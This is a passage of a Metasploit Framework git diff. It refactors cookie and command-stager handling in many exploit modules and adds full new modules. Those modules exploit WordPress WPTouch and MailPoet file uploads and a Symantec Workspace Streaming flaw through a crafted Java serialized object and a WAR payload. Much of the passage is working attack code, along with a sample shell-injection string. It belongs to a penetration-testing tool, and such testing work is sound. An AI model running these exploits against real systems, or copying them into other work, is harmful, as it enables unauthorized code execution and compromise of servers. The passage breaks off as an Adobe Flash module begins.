"user=#{user}&pass=#{pass}", }, 25) - if (res) + if res print_status("Successfully logged in as #{user}:#{pass}") - if (res.headers['Set-Cookie'] =~ /my_id=(.*)/) + if res.get_cookies =~ /my_id=(.*)/ session = $1 print_status("Successfully retrieved cookie: #{session}") return session diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index e9116a64bd..cacbeb0e67 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -95,12 +95,12 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }) - if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie'] + if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty? print_error("#{peer} - Login failed with \"#{username}:#{password}\"") return end - if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/ + if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/ session_id = $1 else print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb index 133b26b8a0..096f669368 100644 --- a/modules/exploits/unix/webapp/trixbox_langchoice.rb +++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status "We received the expected HTTP code #{target_code}" # We will need the cookie PHPSESSID to continue - cookies = response.headers['Set-Cookie'] + cookies = response.get_cookies # Make sure cookies were set if defined? cookies and cookies =~ PHPSESSID_REGEX @@ -145,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status "The server responded to POST with HTTP code #{delivery_response.code}" # We will need the cookie PHPSESSID to continue - cookies = delivery_response.headers['Set-Cookie'] + cookies = delivery_response.get_cookies # Make sure cookies were set if cookies.nil? diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index 5a931d0f21..47bcba11be 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/ + if not res or res.code != 302 or res.get_cookies !~ /TWIKISID=([0-9a-f]*)/ return nil end @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_good("crypttoken found: #{crypttoken}") if session.empty? - if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/ + if res.get_cookies =~ /TWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") @@ -225,4 +225,4 @@ end %MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}% -=end \ No newline at end of file +=end diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 4d27bc797b..9194c0958b 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -157,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie'] + if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and !res.get_cookies.empty? session = res.get_cookies else return nil diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index dcf88c8a12..a03c8ad083 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Adam Caudill <adam@adamcaudill.com>', # Vulnerability discovery - 'AverageSecurityGuy <stephen@averagesecurityguy.info>', # Metasploit Module + 'Adam Caudill <adam[at]adamcaudill.com>', # Vulnerability discovery + 'AverageSecurityGuy <stephen[at]averagesecurityguy.info>', # Metasploit Module 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index 9de059083a..b118f8867f 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -75,9 +75,9 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }, 25) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ + if res and res.code == 302 and res.get_cookies =~ /sid/ vprint_good "#{peer} - Authentication successful" - session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0] + session = res.get_cookies.split("sid=")[1].split(";")[0] else vprint_error "#{peer} - Service found, but authentication failed" return Exploit::CheckCode::Detected @@ -118,8 +118,8 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => data }, 25) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/ - session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || '' + if res and res.code == 302 and res.get_cookies =~ /sid/ + session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "#{peer} - Authentication successfully" else diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index d52ecda3a8..917730eeac 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -215,11 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end - admin_cookie = '' - (res.headers['Set-Cookie'] || '').split(',').each do |cookie| - admin_cookie << cookie.split(';')[0] - admin_cookie << ';' - end + admin_cookie = res.get_cookies if admin_cookie.empty? fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty') diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb new file mode 100644 index 0000000000..864fd2bec7 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -0,0 +1,172 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress WPTouch Authenticated File Upload', + 'Description' => %q{ + The Wordpress WPTouch plugin contains an auhtenticated file upload + vulnerability. A wp-nonce (CSRF token) is created on the backend index + page and the same token is used on handling ajax file uploads through + the plugin. By sending the captured nonce with the upload, we can + upload arbitrary files to the upload folder. Because the plugin also + uses it's own file upload mechanism instead of the wordpress api it's + possible to upload any file type. + The user provided does not need special rights. Also users with "Contributer" + role can be abused. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['wptouch < 3.4.3', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 14 2014')) + + register_options( + [ + OptString.new('USER', [true, "A valid username", nil]), + OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]), + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt') + res = send_request_cgi({ + 'uri' => readme_url, + 'method' => 'GET' + }) + # no readme.txt present + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + end + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] + + # readme present, but no version number + if version.nil? + return Msf::Exploit::CheckCode::Detected + end + + vprint_status("#{peer} - Found version #{version} of the plugin") + + if Gem::Version.new(version) < Gem::Version.new('3.4.3') + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def get_nonce(cookie) + res = send_request_cgi({ + 'uri' => wordpress_url_backend, + 'method' => 'GET', + 'cookie' => cookie + }) + + # forward to profile.php or other page? + if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location'] + location = res.headers['Location'] + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi({ + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + }) + end + + if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/ + return $1 + else + return nil + end + end + + def upload_file(cookie, nonce) + filename = "#{rand_text_alpha(10)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"") + data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"') + data.add_part('upload_file', nil, nil, 'form-data; name="action"') + data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"') + data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + }) + + if res and res.code == 200 and res.body and res.body.length > 0 + register_files_for_cleanup(filename) + return res.body + end + + return nil + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to get nonce") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + print_status("#{peer} - Got nonce #{nonce}") + + print_status("#{peer} - Trying to upload payload") + file_path = upload_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error uploading file") + return + end + + print_status("#{peer} - Calling uploaded file #{file_path}") + res = send_request_cgi({ + 'uri' => file_path, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb new file mode 100644 index 0000000000..0ef6b962e0 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload', + 'Description' => %q{ + The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8 + is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme + functionality to upload a zip file containing the payload. The plugin uses the + admin_init hook, which is also executed for unauthenticated users when accessing + a specific URL. The first fix for this vulnerability appeared in version 2.6.7, + but the fix can be bypassed. In PHP's default configuration, + a POST variable overwrites a GET variable in the $_REQUEST array. The plugin + uses $_REQUEST to check for access rights. By setting the POST parameter to + something not beginning with 'wysija_', the check is bypassed. Wordpress uses + the $_GET array to determine the page, so it is not affected by this. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ], + [ 'URL', 'http://www.mailpoet.com/security-update-part-2/'], + [ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 1 2014')) + end + + def create_zip_file(theme_name, payload_name) + # the zip file must match the following: + # -) Exactly one folder representing the theme name + # -) A style.css in the theme folder + # -) Additional files in the folder + + content = { + ::File.join(theme_name, 'style.css') => '', + ::File.join(theme_name, payload_name) => payload.encoded + } + + zip_file = Rex::Zip::Archive.new + content.each_pair do |name, content| + zip_file.add_file(name, content) + end + + zip_file.pack + end + + def check + readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt') + res = send_request_cgi({ + 'uri' => readme_url, + 'method' => 'GET' + }) + # no readme.txt present + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + end + + # try to extract version from readme + # Example line: + # Stable tag: 2.6.6 + version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1] + + # readme present, but no version number + if version.nil? + return Msf::Exploit::CheckCode::Detected + end + + print_status("#{peer} - Found version #{version} of the plugin") + + if Gem::Version.new(version) < Gem::Version.new('2.6.8') + return Msf::Exploit::CheckCode::Appears + else + return Msf::Exploit::CheckCode::Safe + end + end + + def exploit + theme_name = rand_text_alpha(10) + payload_name = "#{rand_text_alpha(10)}.php" + + zip_content = create_zip_file(theme_name, payload_name) + + uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php') + + data = Rex::MIME::Message.new + data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") + data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') + data.add_part('themeupload', nil, nil, 'form-data; name="action"') + data.add_part('Upload', nil, nil, 'form-data; name="submitter"') + data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"') + post_data = data.to_s + + payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name) + + print_status("#{peer} - Uploading payload to #{payload_uri}") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, + 'data' => post_data + }) + + if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + # Files to cleanup (session is dropped in the created folder): + # style.css + # the payload + # the theme folder (manual cleanup) + register_files_for_cleanup('style.css', payload_name) + + print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.") + + print_status("#{peer} - Executing payload #{payload_uri}") + res = send_request_cgi({ + 'uri' => payload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 8558d6edcb..bebf122f74 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager include Msf::Exploit::EXE def initialize(info={}) @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/']) ], self.class) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def uri @@ -149,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote @session = login(admin_password) - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index e4508a5448..6191617631 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoAccess, "#{peer} - Login failed") end - res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || '' + res.get_cookies.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || '' end @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || '' - sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || '' + sid = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || '' fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty? return token, sid diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index 5e3cd321ae..09f2c79820 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => true, 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 26 2010')) @@ -50,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 1148ae14c0..e95fe434c9 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DefaultTarget' => 0, @@ -55,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb index ff2e97a734..00c27e5917 100644 --- a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb +++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit print_status("#{peer} - Sending payload") # Execute the cmdstager, max length of the commands is ~3950 - execute_cmdstager({:linemax => 3950}) + execute_cmdstager({:flavor => :vbs, :linemax => 3950}) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb new file mode 100644 index 0000000000..c7fe29df13 --- /dev/null +++ b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb @@ -0,0 +1,356 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symantec Workspace Streaming Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in Symantec Workspace Streaming. The + vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the + as_agent.exe service, which allows for uploading arbitrary files under the server root. + This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order + to achieve remote code execution. This module has been tested successfully on Symantec + Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single + machine deployment, and also in the backend role in a multiple machine deployment. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-1649'], + ['BID', '67189'], + ['ZDI', '14-127'], + ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00'] + ], + 'Privileged' => true, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 12 2014')) + + register_options( + [ + Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) + OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy) + ], self.class) + end + + def send_xml_rpc_request(xml) + res = send_request_cgi( + { + 'uri' => normalize_uri("/", "xmlrpc"), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => xml + }) + + res + end + + def build_soap_get_file(file_path) + xml = Document.new + xml.add_element( + "methodCall", + { + 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" + }) + method_name = xml.root.add_element("methodName") + method_name.text = "ManagementAgentServer.getFile" + + params = xml.root.add_element("params") + + param_server_root = params.add_element("param") + value_server_root = param_server_root.add_element("value") + value_server_root.text = "*AWESE" + + param_file_type = params.add_element("param") + value_file_type = param_file_type.add_element("value") + type_file_type = value_file_type.add_element("i4") + type_file_type.text = "0" # build path from the server root directory + + param_file_name = params.add_element("param") + value_file_name = param_file_name.add_element("value") + value_file_name.text = file_path + + param_file_binary = params.add_element("param") + value_file_binary = param_file_binary.add_element("value") + type_file_binary = value_file_binary.add_element("boolean") + type_file_binary.text = "0" + + xml << XMLDecl.new("1.0", "UTF-8") + + xml.to_s + end + + def build_soap_put_file(file) + xml = Document.new + xml.add_element( + "methodCall", + { + 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" + }) + method_name = xml.root.add_element("methodName") + method_name.text = "ManagementAgentServer.putFile" + + params = xml.root.add_element("params") + + param_server_root = params.add_element("param") + value_server_root = param_server_root.add_element("value") + value_server_root.text = "*AWESE" + + param_file_type = params.add_element("param") + value_file_type = param_file_type.add_element("value") + type_file_type = value_file_type.add_element("i4") + type_file_type.text = "0" # build path from the server root directory + + param_file = params.add_element("param") + value_file = param_file.add_element("value") + type_value_file = value_file.add_element("ex:serializable") + type_value_file.text = file + + xml << XMLDecl.new("1.0", "UTF-8") + + xml.to_s + end + + def build_soap_check_put + xml = Document.new + xml.add_element( + "methodCall", + { + 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" + }) + method_name = xml.root.add_element("methodName") + method_name.text = "ManagementAgentServer.putFile" + xml.root.add_element("params") + xml << XMLDecl.new("1.0", "UTF-8") + xml.to_s + end + + def parse_method_response(xml) + doc = Document.new(xml) + file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable") + + unless file.nil? + file = Rex::Text.decode_base64(file.text) + end + + file + end + + def get_file(path) + xml_call = build_soap_get_file(path) + file = nil + + res = send_xml_rpc_request(xml_call) + + if res && res.code == 200 && res.body + file = parse_method_response(res.body.to_s) + end + + file + end + + def put_file(file) + result = nil + xml_call = build_soap_put_file(file) + + res = send_xml_rpc_request(xml_call) + + if res && res.code == 200 && res.body + result = parse_method_response(res.body.to_s) + end + + result + end + + def upload_war(war_name, war, dst) + result = false + java_file = build_java_file_info("#{dst}#{war_name}", war) + java_file = Rex::Text.encode_base64(java_file) + + res = put_file(java_file) + + if res && res =~ /ReturnObject.*StatusMessage.*Boolean/ + result = true + end + + result + end + + def jboss_deploy_path + path = nil + leak = get_file("bin/CreateDatabaseSchema.cmd") + + if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/ + path = $1 + end + + path + end + + def check + check_result = Exploit::CheckCode::Safe + + if jboss_deploy_path.nil? + xml = build_soap_check_put + res = send_xml_rpc_request(xml) + + if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/ + check_result = Exploit::CheckCode::Detected + end + else + check_result = Exploit::CheckCode::Appears + end + + check_result + end + + def exploit + print_status("#{peer} - Leaking the jboss deployment directory...") + jboss_path =jboss_deploy_path + + if jboss_path.nil? + fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") + end + + print_status("#{peer} - Building WAR payload...") + + app_name = Rex::Text.rand_text_alpha(4 + rand(4)) + war_name = "#{app_name}.war" + war = payload.encoded_war({ :app_name => app_name }).to_s + deploy_dir = "..#{jboss_path}" + + print_status("#{peer} - Uploading WAR payload...") + + res = upload_war(war_name, war, deploy_dir) + + unless res + fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload") + end + + register_files_for_cleanup("../server/appstream/deploy/#{war_name}") + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi( + { + 'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET', + 'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + + end + + def ste_port + datastore['STE_PORT'] + end + + # com.appstream.cm.general.FileInfo serialized object + def build_java_file_info(file_name, contents) + stream = "\xac\xed" # stream magic + stream << "\x00\x05" # stream version + stream << "\x73" # new Object + + stream << "\x72" # TC_CLASSDESC + stream << ["com.appstream.cm.general.FileInfo".length].pack("n") + stream << "com.appstream.cm.general.FileInfo" + stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier + stream << "\x02" # flags SC_SERIALIZABLE + stream << [6].pack("n") # number of fields in the class + + stream << "Z" # boolean + stream << ["bLastPage".length].pack("n") + stream << "bLastPage" + + stream << "J" # long + stream << ["lFileSize".length].pack("n") + stream << "lFileSize" + + stream << "[" # array + stream << ["baContent".length].pack("n") + stream << "baContent" + stream << "\x74" # TC_STRING + stream << ["[B".length].pack("n") + stream << "[B" # field's type (byte array) + + stream << "L" # Object + stream << ["dTimeStamp".length].pack("n") + stream << "dTimeStamp" + stream << "\x74" # TC_STRING + stream << ["Ljava/util/Date;".length].pack("n") + stream << "Ljava/util/Date;" #field's type (Date) + + stream << "L" # Object + stream << ["sContent".length].pack("n") + stream << "sContent" + stream << "\x74" # TC_STRING + stream << ["Ljava/lang/String;".length].pack("n") + stream << "Ljava/lang/String;" #field's type (String) + + stream << "L" # Object + stream << ["sFileName".length].pack("n") + stream << "sFileName" + stream << "\x71" # TC_REFERENCE + stream << [0x007e0003].pack("N") # handle + + stream << "\x78" # TC_ENDBLOCKDATA + stream << "\x70" # TC_NULL + + # Values + stream << [1].pack("c") # bLastPage + + stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize + + stream << "\x75" # TC_ARRAY + stream << "\x72" # TC_CLASSDESC + stream << ["[B".length].pack("n") + stream << "[B" # byte array) + stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier + stream << "\x02" # flags SC_SERIALIZABLE + stream << [0].pack("n") # number of fields in the class + stream << "\x78" # TC_ENDBLOCKDATA + stream << "\x70" # TC_NULL + stream << [contents.length].pack("N") + stream << contents # baContent + + stream << "\x70" # TC_NULL # dTimeStamp + + stream << "\x70" # TC_NULL # sContent + + stream << "\x74" # TC_STRING + stream << [file_name.length].pack("n") + stream << file_name # sFileName + + stream + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb new file mode 100644 index 0000000000..8f423e53e0 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -0,0 +1,132 @@ +## +# This module requires 